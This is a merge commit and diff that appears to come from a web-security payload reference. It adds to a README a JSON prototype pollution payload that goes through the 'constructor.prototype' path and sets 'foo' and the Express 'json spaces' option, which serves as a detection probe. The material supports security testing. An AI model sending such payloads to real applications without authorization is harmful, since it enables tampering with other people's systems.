Merge pull request #703 from Aftab700/JSON-Prototype-Pollution

adding the payload for Polluting the prototype via the `constructor`  property in JSON input

Prototype Pollution/README.md

@@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
 }
 ```
 
+Polluting the prototype via the `constructor` property instead.
+
+```js
+{
+    "constructor": {
+        "prototype": {
+            "foo": "bar",
+            "json spaces": 10
+        }
+    }
+}
+```
+
 
 ### Prototype Pollution in URL